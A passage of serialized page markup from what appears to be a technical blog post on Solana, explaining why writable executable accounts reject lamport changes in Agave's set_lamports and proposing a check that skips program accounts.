quite.",{"type":23,"tag":7092,"props":70553,"children":70555},{"id":70554},"bug-2-writable-but-untouchable-set_lamports-fails",[70556,70558,70564],{"type":28,"value":70557},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":64,"props":70559,"children":70561},{"className":70560},[],[70562],{"type":28,"value":70563},"set_lamports",{"type":28,"value":70565}," Fails",{"type":23,"tag":24,"props":70567,"children":70568},{},[70569,70571,70578],{"type":28,"value":70570},"Let's look at ",{"type":23,"tag":190,"props":70572,"children":70575},{"href":70573,"rel":70574},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[194],[70576],{"type":28,"value":70577},"BorrowedAccount::set_lamports",{"type":28,"value":199},{"type":23,"tag":435,"props":70580,"children":70582},{"className":475,"code":70581,"language":474,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[70583],{"type":23,"tag":64,"props":70584,"children":70585},{"__ignoreMap":7},[70586,70594,70615,70687,70695,70754,70786,70793,70801,70829,70861,70868,70876,70900,70932,70939,70947,70982,70998,71005,71033,71068,71079,71086,71093,71101,71120,71128,71168,71180,71192,71204,71235],{"type":23,"tag":481,"props":70587,"children":70588},{"class":483,"line":484},[70589],{"type":23,"tag":481,"props":70590,"children":70591},{"style":488},[70592],{"type":28,"value":70593},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":481,"props":70595,"children":70596},{"class":483,"line":351},[70597,70602,70606,70611],{"type":23,"tag":481,"props":70598,"children":70599},{"style":525},[70600],{"type":28,"value":70601},"#[cfg(not(target_os ",{"type":23,"tag":481,"props":70603,"children":70604},{"style":514},[70605],{"type":28,"value":603},{"type":23,"tag":481,"props":70607,"children":70608},{"style":1805},[70609],{"type":28,"value":70610}," \"solana\"",{"type":23,"tag":481,"props":70612,"children":70613},{"style":525},[70614],{"type":28,"value":18106},{"type":23,"tag":481,"props":70616,"children":70617},{"class":483,"line":531},[70618,70622,70626,70631,70635,70639,70643,70647,70651,70655,70659,70663,70667,70671,70675,70679,70683],{"type":23,"tag":481,"props":70619,"children":70620},{"style":497},[70621],{"type":28,"value":11178},{"type":23,"tag":481,"props":70623,"children":70624},{"style":497},[70625],{"type":28,"value":11183},{"type":23,"tag":481,"props":70627,"children":70628},{"style":610},[70629],{"type":28,"value":70630}," set_lamports",{"type":23,"tag":481,"props":70632,"children":70633},{"style":525},[70634],{"type":28,"value":618},{"type":23,"tag":481,"props":70636,"children":70637},{"style":514},[70638],{"type":28,"value":623},{"type":23,"tag":481,"props":70640,"children":70641},{"style":497},[70642],{"type":28,"value":1259},{"type":23,"tag":481,"props":70644,"children":70645},{"style":497},[70646],{"type":28,"value":11285},{"type":23,"tag":481,"props":70648,"children":70649},{"style":525},[70650],{"type":28,"value":588},{"type":23,"tag":481,"props":70652,"children":70653},{"style":508},[70654],{"type":28,"value":13001},{"type":23,"tag":481,"props":70656,"children":70657},{"style":514},[70658],{"type":28,"value":287},{"type":23,"tag":481,"props":70660,"children":70661},{"style":943},[70662],{"type":28,"value":3336},{"type":23,"tag":481,"props":70664,"children":70665},{"style":525},[70666],{"type":28,"value":598},{"type":23,"tag":481,"props":70668,"children":70669},{"style":514},[70670],{"type":28,"value":11245},{"type":23,"tag":481,"props":70672,"children":70673},{"style":943},[70674],{"type":28,"value":11250},{"type":23,"tag":481,"props":70676,"children":70677},{"style":525},[70678],{"type":28,"value":11255},{"type":23,"tag":481,"props":70680,"children":70681},{"style":943},[70682],{"type":28,"value":13248},{"type":23,"tag":481,"props":70684,"children":70685},{"style":525},[70686],{"type":28,"value":4759},{"type":23,"tag":481,"props":70688,"children":70689},{"class":483,"line":567},[70690],{"type":23,"tag":481,"props":70691,"children":70692},{"style":488},[70693],{"type":28,"value":70694}," // An account not owned by the program cannot have its balance decrease\n",{"type":23,"tag":481,"props":70696,"children":70697},{"class":483,"line":678},[70698,70702,70706,70710,70714,70719,70723,70728,70733,70737,70741,70745,70750],{"type":23,"tag":481,"props":70699,"children":70700},{"style":535},[70701],{"type":28,"value":9766},{"type":23,"tag":481,"props":70703,"children":70704},{"style":514},[70705],{"type":28,"value":10351},{"type":23,"tag":481,"props":70707,"children":70708},{"style":497},[70709],{"type":28,"value":11201},{"type":23,"tag":481,"props":70711,"children":70712},{"style":514},[70713],{"type":28,"value":199},{"type":23,"tag":481,"props":70715,"children":70716},{"style":610},[70717],{"type":28,"value":70718},"is_owned_by_current_program",{"type":23,"tag":481,"props":70720,"children":70721},{"style":525},[70722],{"type":28,"value":11531},{"type":23,"tag":481,"props":70724,"children":70725},{"style":514},[70726],{"type":28,"value":70727},"&&",{"type":23,"tag":481,"props":70729,"children":70730},{"style":508},[70731],{"type":28,"value":70732}," lamports",{"type":23,"tag":481,"props":70734,"children":70735},{"style":514},[70736],{"type":28,"value":6199},{"type":23,"tag":481,"props":70738,"children":70739},{"style":497},[70740],{"type":28,"value":11285},{"type":23,"tag":481,"props":70742,"children":70743},{"style":514},[70744],{"type":28,"value":199},{"type":23,"tag":481,"props":70746,"children":70747},{"style":610},[70748],{"type":28,"value":70749},"get_lamports",{"type":23,"tag":481,"props":70751,"children":70752},{"style":525},[70753],{"type":28,"value":13226},{"type":23,"tag":481,"props":70755,"children":70756},{"class":483,"line":784},[70757,70761,70765,70769,70773,70777,70782],{"type":23,"tag":481,"props":70758,"children":70759},{"style":535},[70760],{"type":28,"value":13234},{"type":23,"tag":481,"props":70762,"children":70763},{"style":943},[70764],{"type":28,"value":13239},{"type":23,"tag":481,"props":70766,"children":70767},{"style":525},[70768],{"type":28,"value":618},{"type":23,"tag":481,"props":70770,"children":70771},{"style":943},[70772],{"type":28,"value":13248},{"type":23,"tag":481,"props":70774,"children":70775},{"style":514},[70776],{"type":28,"value":1006},{"type":23,"tag":481,"props":70778,"children":70779},{"style":943},[70780],{"type":28,"value":70781},"ExternalAccountLamportSpend",{"type":23,"tag":481,"props":70783,"children":70784},{"style":525},[70785],{"type":28,"value":1366},{"type":23,"tag":481,"props":70787,"children":70788},{"class":483,"line":812},[70789],{"type":23,"tag":481,"props":70790,"children":70791},{"style":525},[70792],{"type":28,"value":879},{"type":23,"tag":481,"props":70794,"children":70795},{"class":483,"line":825},[70796],{"type":23,"tag":481,"props":70797,"children":70798},{"style":488},[70799],{"type":28,"value":70800}," // The balance of read-only may not change\n",{"type":23,"tag":481,"props":70802,"children":70803},{"class":483,"line":843},[70804,70808,70812,70816,70820,70825],{"type":23,"tag":481,"props":70805,"children":70806},{"style":535},[70807],{"type":28,"value":9766},{"type":23,"tag":481,"props":70809,"children":70810},{"style":514},[70811],{"type":28,"value":10351},{"type":23,"tag":481,"props":70813,"children":70814},{"style":497},[70815],{"type":28,"value":11201},{"type":23,"tag":481,"props":70817,"children":70818},{"style":514},[70819],{"type":28,"value":199},{"type":23,"tag":481,"props":70821,"children":70822},{"style":610},[70823],{"type":28,"value":70824},"is_writable",{"type":23,"tag":481,"props":70826,"children":70827},{"style":525},[70828],{"type":28,"value":13226},{"type":23,"tag":481,"props":70830,"children":70831},{"class":483,"line":864},[70832,70836,70840,70844,70848,70852,70857],{"type":23,"tag":481,"props":70833,"children":70834},{"style":535},[70835],{"type":28,"value":13234},{"type":23,"tag":481,"props":70837,"children":70838},{"style":943},[70839],{"type":28,"value":13239},{"type":23,"tag":481,"props":70841,"children":70842},{"style":525},[70843],{"type":28,"value":618},{"type":23,"tag":481,"props":70845,"children":70846},{"style":943},[70847],{"type":28,"value":13248},{"type":23,"tag":481,"props":70849,"children":70850},{"style":514},[70851],{"type":28,"value":1006},{"type":23,"tag":481,"props":70853,"children":70854},{"style":943},[70855],{"type":28,"value":70856},"ReadonlyLamportChange",{"type":23,"tag":481,"props":70858,"children":70859},{"style":525},[70860],{"type":28,"value":1366},{"type":23,"tag":481,"props":70862,"children":70863},{"class":483,"line":873},[70864],{"type":23,"tag":481,"props":70865,"children":70866},{"style":525},[70867],{"type":28,"value":879},{"type":23,"tag":481,"props":70869,"children":70870},{"class":483,"line":1125},[70871],{"type":23,"tag":481,"props":70872,"children":70873},{"style":488},[70874],{"type":28,"value":70875}," // The balance of executable accounts may not change\n",{"type":23,"tag":481,"props":70877,"children":70878},{"class":483,"line":1142},[70879,70883,70887,70891,70896],{"type":23,"tag":481,"props":70880,"children":70881},{"style":535},[70882],{"type":28,"value":9766},{"type":23,"tag":481,"props":70884,"children":70885},{"style":497},[70886],{"type":28,"value":11285},{"type":23,"tag":481,"props":70888,"children":70889},{"style":514},[70890],{"type":28,"value":199},{"type":23,"tag":481,"props":70892,"children":70893},{"style":610},[70894],{"type":28,"value":70895},"is_executable_internal",{"type":23,"tag":481,"props":70897,"children":70898},{"style":525},[70899],{"type":28,"value":13226},{"type":23,"tag":481,"props":70901,"children":70902},{"class":483,"line":1159},[70903,70907,70911,70915,70919,70923,70928],{"type":23,"tag":481,"props":70904,"children":70905},{"style":535},[70906],{"type":28,"value":13234},{"type":23,"tag":481,"props":70908,"children":70909},{"style":943},[70910],{"type":28,"value":13239},{"type":23,"tag":481,"props":70912,"children":70913},{"style":525},[70914],{"type":28,"value":618},{"type":23,"tag":481,"props":70916,"children":70917},{"style":943},[70918],{"type":28,"value":13248},{"type":23,"tag":481,"props":70920,"children":70921},{"style":514},[70922],{"type":28,"value":1006},{"type":23,"tag":481,"props":70924,"children":70925},{"style":943},[70926],{"type":28,"value":70927},"ExecutableLamportChange",{"type":23,"tag":481,"props":70929,"children":70930},{"style":525},[70931],{"type":28,"value":1366},{"type":23,"tag":481,"props":70933,"children":70934},{"class":483,"line":1172},[70935],{"type":23,"tag":481,"props":70936,"children":70937},{"style":525},[70938],{"type":28,"value":879},{"type":23,"tag":481,"props":70940,"children":70941},{"class":483,"line":1181},[70942],{"type":23,"tag":481,"props":70943,"children":70944},{"style":488},[70945],{"type":28,"value":70946}," // don't touch the account if the lamports do not change\n",{"type":23,"tag":481,"props":70948,"children":70949},{"class":483,"line":1204},[70950,70954,70958,70962,70966,70970,70974,70978],{"type":23,"tag":481,"props":70951,"children":70952},{"style":535},[70953],{"type":28,"value":9766},{"type":23,"tag":481,"props":70955,"children":70956},{"style":497},[70957],{"type":28,"value":11285},{"type":23,"tag":481,"props":70959,"children":70960},{"style":514},[70961],{"type":28,"value":199},{"type":23,"tag":481,"props":70963,"children":70964},{"style":610},[70965],{"type":28,"value":70749},{"type":23,"tag":481,"props":70967,"children":70968},{"style":525},[70969],{"type":28,"value":11531},{"type":23,"tag":481,"props":70971,"children":70972},{"style":514},[70973],{"type":28,"value":6055},{"type":23,"tag":481,"props":70975,"children":70976},{"style":508},[70977],{"type":28,"value":70732},{"type":23,"tag":481,"props":70979,"children":70980},{"style":525},[70981],{"type":28,"value":809},{"type":23,"tag":481,"props":70983,"children":70984},{"class":483,"line":1213},[70985,70989,70993],{"type":23,"tag":481,"props":70986,"children":70987},{"style":535},[70988],{"type":28,"value":13234},{"type":23,"tag":481,"props":70990,"children":70991},{"style":943},[70992],{"type":28,"value":40457},{"type":23,"tag":481,"props":70994,"children":70995},{"style":525},[70996],{"type":28,"value":70997},"(());\n",{"type":23,"tag":481,"props":70999,"children":71000},{"class":483,"line":1222},[71001],{"type":23,"tag":481,"props":71002,"children":71003},{"style":525},[71004],{"type":28,"value":879},{"type":23,"tag":481,"props":71006,"children":71007},{"class":483,"line":1291},[71008,71012,71016,71021,71025,71029],{"type":23,"tag":481,"props":71009,"children":71010},{"style":497},[71011],{"type":28,"value":18284},{"type":23,"tag":481,"props":71013,"children":71014},{"style":514},[71015],{"type":28,"value":199},{"type":23,"tag":481,"props":71017,"children":71018},{"style":610},[71019],{"type":28,"value":71020},"touch",{"type":23,"tag":481,"props":71022,"children":71023},{"style":525},[71024],{"type":28,"value":11367},{"type":23,"tag":481,"props":71026,"children":71027},{"style":514},[71028],{"type":28,"value":670},{"type":23,"tag":481,"props":71030,"children":71031},{"style":525},[71032],{"type":28,"value":528},{"type":23,"tag":481,"props":71034,"children":71035},{"class":483,"line":1299},[71036,71040,71044,71048,71052,71056,71060,71064],{"type":23,"tag":481,"props":71037,"children":71038},{"style":497},[71039],{"type":28,"value":18284},{"type":23,"tag":481,"props":71041,"children":71042},{"style":514},[71043],{"type":28,"value":199},{"type":23,"tag":481,"props":71045,"children":71046},{"style":525},[71047],{"type":28,"value":10440},{"type":23,"tag":481,"props":71049,"children":71050},{"style":514},[71051],{"type":28,"value":199},{"type":23,"tag":481,"props":71053,"children":71054},{"style":610},[71055],{"type":28,"value":70563},{"type":23,"tag":481,"props":71057,"children":71058},{"style":525},[71059],{"type":28,"value":618},{"type":23,"tag":481,"props":71061,"children":71062},{"style":508},[71063],{"type":28,"value":13001},{"type":23,"tag":481,"props":71065,"children":71066},{"style":525},[71067],{"type":28,"value":1366},{"type":23,"tag":481,"props":71069,"children":71070},{"class":483,"line":1329},[71071,71075],{"type":23,"tag":481,"props":71072,"children":71073},{"style":943},[71074],{"type":28,"value":11821},{"type":23,"tag":481,"props":71076,"children":71077},{"style":525},[71078],{"type":28,"value":11826},{"type":23,"tag":481,"props":71080,"children":71081},{"class":483,"line":1337},[71082],{"type":23,"tag":481,"props":71083,"children":71084},{"style":525},[71085],{"type":28,"value":1443},{"type":23,"tag":481,"props":71087,"children":71088},{"class":483,"line":1369},[71089],{"type":23,"tag":481,"props":71090,"children":71091},{"emptyLinePlaceholder":15},[71092],{"type":28,"value":1210},{"type":23,"tag":481,"props":71094,"children":71095},{"class":483,"line":1377},[71096],{"type":23,"tag":481,"props":71097,"children":71098},{"style":488},[71099],{"type":28,"value":71100},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":23,"tag":481,"props":71102,"children":71103},{"class":483,"line":1437},[71104,71108,71112,71116],{"type":23,"tag":481,"props":71105,"children":71106},{"style":525},[71107],{"type":28,"value":70601},{"type":23,"tag":481,"props":71109,"children":71110},{"style":514},[71111],{"type":28,"value":603},{"type":23,"tag":481,"props":71113,"children":71114},{"style":1805},[71115],{"type":28,"value":70610},{"type":23,"tag":481,"props":71117,"children":71118},{"style":525},[71119],{"type":28,"value":18106},{"type":23,"tag":481,"props":71121,"children":71122},{"class":483,"line":6528},[71123],{"type":23,"tag":481,"props":71124,"children":71125},{"style":525},[71126],{"type":28,"value":71127},"#[inline]\n",{"type":23,"tag":481,"props":71129,"children":71130},{"class":483,"line":6546},[71131,71135,71140,71144,71148,71152,71156,71160,71164],{"type":23,"tag":481,"props":71132,"children":71133},{"style":497},[71134],{"type":28,"value":17764},{"type":23,"tag":481,"props":71136,"children":71137},{"style":610},[71138],{"type":28,"value":71139}," is_executable_internal",{"type":23,"tag":481,"props":71141,"children":71142},{"style":525},[71143],{"type":28,"value":618},{"type":23,"tag":481,"props":71145,"children":71146},{"style":514},[71147],{"type":28,"value":623},{"type":23,"tag":481,"props":71149,"children":71150},{"style":497},[71151],{"type":28,"value":11201},{"type":23,"tag":481,"props":71153,"children":71154},{"style":525},[71155],{"type":28,"value":598},{"type":23,"tag":481,"props":71157,"children":71158},{"style":514},[71159],{"type":28,"value":11245},{"type":23,"tag":481,"props":71161,"children":71162},{"style":943},[71163],{"type":28,"value":9537},{"type":23,"tag":481,"props":71165,"children":71166},{"style":525},[71167],{"type":28,"value":809},{"type":23,"tag":481,"props":71169,"children":71170},{"class":483,"line":6591},[71171,71175],{"type":23,"tag":481,"props":71172,"children":71173},{"style":514},[71174],{"type":28,"value":18468},{"type":23,"tag":481,"props":71176,"children":71177},{"style":497},[71178],{"type":28,"value":71179},"self\n",{"type":23,"tag":481,"props":71181,"children":71182},{"class":483,"line":6697},[71183,71187],{"type":23,"tag":481,"props":71184,"children":71185},{"style":514},[71186],{"type":28,"value":65789},{"type":23,"tag":481,"props":71188,"children":71189},{"style":525},[71190],{"type":28,"value":71191},"transaction_context\n",{"type":23,"tag":481,"props":71193,"children":71194},{"class":483,"line":21008},[71195,71199],{"type":23,"tag":481,"props":71196,"children":71197},{"style":514},[71198],{"type":28,"value":65789},{"type":23,"tag":481,"props":71200,"children":71201},{"style":525},[71202],{"type":28,"value":71203},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":481,"props":71205,"children":71206},{"class":483,"line":21043},[71207,71211,71215,71219,71223,71227,71231],{"type":23,"tag":481,"props":71208,"children":71209},{"style":514},[71210],{"type":28,"value":40321},{"type":23,"tag":481,"props":71212,"children":71213},{"style":497},[71214],{"type":28,"value":11285},{"type":23,"tag":481,"props":71216,"children":71217},{"style":514},[71218],{"type":28,"value":199},{"type":23,"tag":481,"props":71220,"children":71221},{"style":525},[71222],{"type":28,"value":10440},{"type":23,"tag":481,"props":71224,"children":71225},{"style":514},[71226],{"type":28,"value":199},{"type":23,"tag":481,"props":71228,"children":71229},{"style":610},[71230],{"type":28,"value":13145},{"type":23,"tag":481,"props":71232,"children":71233},{"style":525},[71234],{"type":28,"value":5214},{"type":23,"tag":481,"props":71236,"children":71237},{"class":483,"line":21051},[71238],{"type":23,"tag":481,"props":71239,"children":71240},{"style":525},[71241],{"type":28,"value":1443},{"type":23,"tag":24,"props":71243,"children":71244},{},[71245],{"type":28,"value":71246},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":24,"props":71248,"children":71249},{},[71250,71252,71257],{"type":28,"value":71251},"Specifically, ",{"type":23,"tag":2875,"props":71253,"children":71254},{},[71255],{"type":28,"value":71256},"executable accounts",{"type":28,"value":71258}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":16388,"props":71260,"children":71262},{"id":71261},"sidebar-whats-the-executable-flag-anyway",[71263],{"type":28,"value":71264},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":24,"props":71266,"children":71267},{},[71268,71269,71274],{"type":28,"value":14104},{"type":23,"tag":64,"props":71270,"children":71272},{"className":71271},[],[71273],{"type":28,"value":13145},{"type":28,"value":71275}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":24,"props":71277,"children":71278},{},[71279,71281,71286],{"type":28,"value":71280},"This behavior became problematic with the introduction of the ",{"type":23,"tag":2875,"props":71282,"children":71283},{},[71284],{"type":28,"value":71285},"Upgradeable BPF Loader",{"type":28,"value":71287},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":435,"props":71289,"children":71291},{"className":475,"code":71290,"language":474,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[71292],{"type":23,"tag":64,"props":71293,"children":71294},{"__ignoreMap":7},[71295,71307,71315,71335,71343,71355,71363,71383,71391,71419,71427,71435],{"type":23,"tag":481,"props":71296,"children":71297},{"class":483,"line":484},[71298,71303],{"type":23,"tag":481,"props":71299,"children":71300},{"style":943},[71301],{"type":28,"value":71302},"Program",{"type":23,"tag":481,"props":71304,"children":71305},{"style":525},[71306],{"type":28,"value":809},{"type":23,"tag":481,"props":71308,"children":71309},{"class":483,"line":351},[71310],{"type":23,"tag":481,"props":71311,"children":71312},{"style":488},[71313],{"type":28,"value":71314}," /// Address of the ProgramData account.\n",{"type":23,"tag":481,"props":71316,"children":71317},{"class":483,"line":531},[71318,71323,71327,71331],{"type":23,"tag":481,"props":71319,"children":71320},{"style":508},[71321],{"type":28,"value":71322}," programdata_address",{"type":23,"tag":481,"props":71324,"children":71325},{"style":514},[71326],{"type":28,"value":287},{"type":23,"tag":481,"props":71328,"children":71329},{"style":943},[71330],{"type":28,"value":18355},{"type":23,"tag":481,"props":71332,"children":71333},{"style":525},[71334],{"type":28,"value":1033},{"type":23,"tag":481,"props":71336,"children":71337},{"class":483,"line":567},[71338],{"type":23,"tag":481,"props":71339,"children":71340},{"style":525},[71341],{"type":28,"value":71342},"},\n",{"type":23,"tag":481,"props":71344,"children":71345},{"class":483,"line":678},[71346,71351],{"type":23,"tag":481,"props":71347,"children":71348},{"style":943},[71349],{"type":28,"value":71350},"ProgramData",{"type":23,"tag":481,"props":71352,"children":71353},{"style":525},[71354],{"type":28,"value":809},{"type":23,"tag":481,"props":71356,"children":71357},{"class":483,"line":784},[71358],{"type":23,"tag":481,"props":71359,"children":71360},{"style":488},[71361],{"type":28,"value":71362}," /// Slot that the program was last modified.\n",{"type":23,"tag":481,"props":71364,"children":71365},{"class":483,"line":812},[71366,71371,71375,71379],{"type":23,"tag":481,"props":71367,"children":71368},{"style":508},[71369],{"type":28,"value":71370}," slot",{"type":23,"tag":481,"props":71372,"children":71373},{"style":514},[71374],{"type":28,"value":287},{"type":23,"tag":481,"props":71376,"children":71377},{"style":943},[71378],{"type":28,"value":3336},{"type":23,"tag":481,"props":71380,"children":71381},{"style":525},[71382],{"type":28,"value":1033},{"type":23,"tag":481,"props":71384,"children":71385},{"class":483,"line":825},[71386],{"type":23,"tag":481,"props":71387,"children":71388},{"style":488},[71389],{"type":28,"value":71390}," /// Address of the Program's upgrade authority.\n",{"type":23,"tag":481,"props":71392,"children":71393},{"class":483,"line":843},[71394,71399,71403,71407,71411,71415],{"type":23,"tag":481,"props":71395,"children":71396},{"style":508},[71397],{"type":28,"value":71398}," upgrade_authority_address",{"type":23,"tag":481,"props":71400,"children":71401},{"style":514},[71402],{"type":28,"value":287},{"type":23,"tag":481,"props":71404,"children":71405},{"style":943},[71406],{"type":28,"value":25157},{"type":23,"tag":481,"props":71408,"children":71409},{"style":525},[71410],{"type":28,"value":3282},{"type":23,"tag":481,"props":71412,"children":71413},{"style":943},[71414],{"type":28,"value":18896},{"type":23,"tag":481,"props":71416,"children":71417},{"style":525},[71418],{"type":28,"value":3615},{"type":23,"tag":481,"props":71420,"children":71421},{"class":483,"line":864},[71422],{"type":23,"tag":481,"props":71423,"children":71424},{"style":488},[71425],{"type":28,"value":71426}," // The raw program data follows this serialized structure in the\n",{"type":23,"tag":481,"props":71428,"children":71429},{"class":483,"line":873},[71430],{"type":23,"tag":481,"props":71431,"children":71432},{"style":488},[71433],{"type":28,"value":71434}," // account's data.\n",{"type":23,"tag":481,"props":71436,"children":71437},{"class":483,"line":1125},[71438],{"type":23,"tag":481,"props":71439,"children":71440},{"style":525},[71441],{"type":28,"value":71342},{"type":23,"tag":24,"props":71443,"children":71444},{},[71445,71447,71454],{"type":28,"value":71446},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":190,"props":71448,"children":71451},{"href":71449,"rel":71450},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[194],[71452],{"type":28,"value":71453},"SIMD-0162",{"type":28,"value":71455},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":24,"props":71457,"children":71458},{},[71459,71461,71466,71468,71473],{"type":28,"value":71460},"This change is also a ",{"type":23,"tag":2875,"props":71462,"children":71463},{},[71464],{"type":28,"value":71465},"hard requirement for supporting the new loader-v4",{"type":28,"value":71467},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":64,"props":71469,"children":71471},{"className":71470},[],[71472],{"type":28,"value":71350},{"type":28,"value":71474}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":24,"props":71476,"children":71477},{},[71478,71480,71487,71489,71494],{"type":28,"value":71479},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":190,"props":71481,"children":71484},{"href":71482,"rel":71483},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[194],[71485],{"type":28,"value":71486},"migrate",{"type":28,"value":71488}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":64,"props":71490,"children":71492},{"className":71491},[],[71493],{"type":28,"value":70927},{"type":28,"value":71495}," restriction.",{"type":23,"tag":16388,"props":71497,"children":71499},{"id":71498},"fix-2-reject-program-accounts",[71500],{"type":28,"value":71501},"Fix 2: Reject Program Accounts",{"type":23,"tag":24,"props":71503,"children":71504},{},[71505],{"type":28,"value":71506},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":435,"props":71508,"children":71510},{"className":475,"code":71509,"language":474,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[71511],{"type":23,"tag":64,"props":71512,"children":71513},{"__ignoreMap":7},[71514,71590,71638,71654,71661,71700,71744,71768,71817,71845],{"type":23,"tag":481,"props":71515,"children":71516},{"class":483,"line":484},[71517,71521,71525,71530,71534,71538,71542,71546,71550,71554,71558,71562,71566,71570,71574,71578,71582,71586],{"type":23,"tag":481,"props":71518,"children":71519},{"style":497},[71520],{"type":28,"value":11178},{"type":23,"tag":481,"props":71522,"children":71523},{"style":497},[71524],{"type":28,"value":11183},{"type":23,"tag":481,"props":71526,"children":71527},{"style":610},[71528],{"type":28,"value":71529}," can_transfer_lamports",{"type":23,"tag":481,"props":71531,"children":71532},{"style":525},[71533],{"type":28,"value":618},{"type":23,"tag":481,"props":71535,"children":71536},{"style":508},[71537],{"type":28,"value":10440},{"type":23,"tag":481,"props":71539,"children":71540},{"style":514},[71541],{"type":28,"value":287},{"type":23,"tag":481,"props":71543,"children":71544},{"style":514},[71545],{"type":28,"value":4619},{"type":23,"tag":481,"props":71547,"children":71548},{"style":943},[71549],{"type":28,"value":12427},{"type":23,"tag":481,"props":71551,"children":71552},{"style":525},[71553],{"type":28,"value":588},{"type":23,"tag":481,"props":71555,"children":71556},{"style":508},[71557],{"type":28,"value":13001},{"type":23,"tag":481,"props":71559,"children":71560},{"style":514},[71561],{"type":28,"value":287},{"type":23,"tag":481,"props":71563,"children":71564},{"style":943},[71565],{"type":28,"value":3336},{"type":23,"tag":481,"props":71567,"children":71568},{"style":525},[71569],{"type":28,"value":598},{"type":23,"tag":481,"props":71571,"children":71572},{"style":514},[71573],{"type":28,"value":11245},{"type":23,"tag":481,"props":71575,"children":71576},{"style":943},[71577],{"type":28,"value":11250},{"type":23,"tag":481,"props":71579,"children":71580},{"style":525},[71581],{"type":28,"value":3282},{"type":23,"tag":481,"props":71583,"children":71584},{"style":943},[71585],{"type":28,"value":27199},{"type":23,"tag":481,"props":71587,"children":71588},{"style":525},[71589],{"type":28,"value":4759},{"type":23,"tag":481,"props":71591,"children":71592},{"class":483,"line":351},[71593,71597,71602,71606,71610,71614,71618,71622,71626,71630,71634],{"type":23,"tag":481,"props":71594,"children":71595},{"style":497},[71596],{"type":28,"value":17764},{"type":23,"tag":481,"props":71598,"children":71599},{"style":610},[71600],{"type":28,"value":71601}," is_program",{"type":23,"tag":481,"props":71603,"children":71604},{"style":525},[71605],{"type":28,"value":618},{"type":23,"tag":481,"props":71607,"children":71608},{"style":508},[71609],{"type":28,"value":10440},{"type":23,"tag":481,"props":71611,"children":71612},{"style":514},[71613],{"type":28,"value":287},{"type":23,"tag":481,"props":71615,"children":71616},{"style":514},[71617],{"type":28,"value":4619},{"type":23,"tag":481,"props":71619,"children":71620},{"style":943},[71621],{"type":28,"value":12427},{"type":23,"tag":481,"props":71623,"children":71624},{"style":525},[71625],{"type":28,"value":598},{"type":23,"tag":481,"props":71627,"children":71628},{"style":514},[71629],{"type":28,"value":11245},{"type":23,"tag":481,"props":71631,"children":71632},{"style":943},[71633],{"type":28,"value":9537},{"type":23,"tag":481,"props":71635,"children":71636},{"style":525},[71637],{"type":28,"value":809},{"type":23,"tag":481,"props":71639,"children":71640},{"class":483,"line":531},[71641,71645,71649],{"type":23,"tag":481,"props":71642,"children":71643},{"style":508},[71644],{"type":28,"value":22682},{"type":23,"tag":481,"props":71646,"children":71647},{"style":514},[71648],{"type":28,"value":199},{"type":23,"tag":481,"props":71650,"children":71651},{"style":525},[71652],{"type":28,"value":71653},"executable\n",{"type":23,"tag":481,"props":71655,"children":71656},{"class":483,"line":567},[71657],{"type":23,"tag":481,"props":71658,"children":71659},{"style":525},[71660],{"type":28,"value":1443},{"type":23,"tag":481,"props":71662,"children":71663},{"class":483,"line":678},[71664,71668,71672,71676,71680,71684,71688,71692,71696],{"type":23,"tag":481,"props":71665,"children":71666},{"style":497},[71667],{"type":28,"value":9274},{"type":23,"tag":481,"props":71669,"children":71670},{"style":508},[71671],{"type":28,"value":70421},{"type":23,"tag":481,"props":71673,"c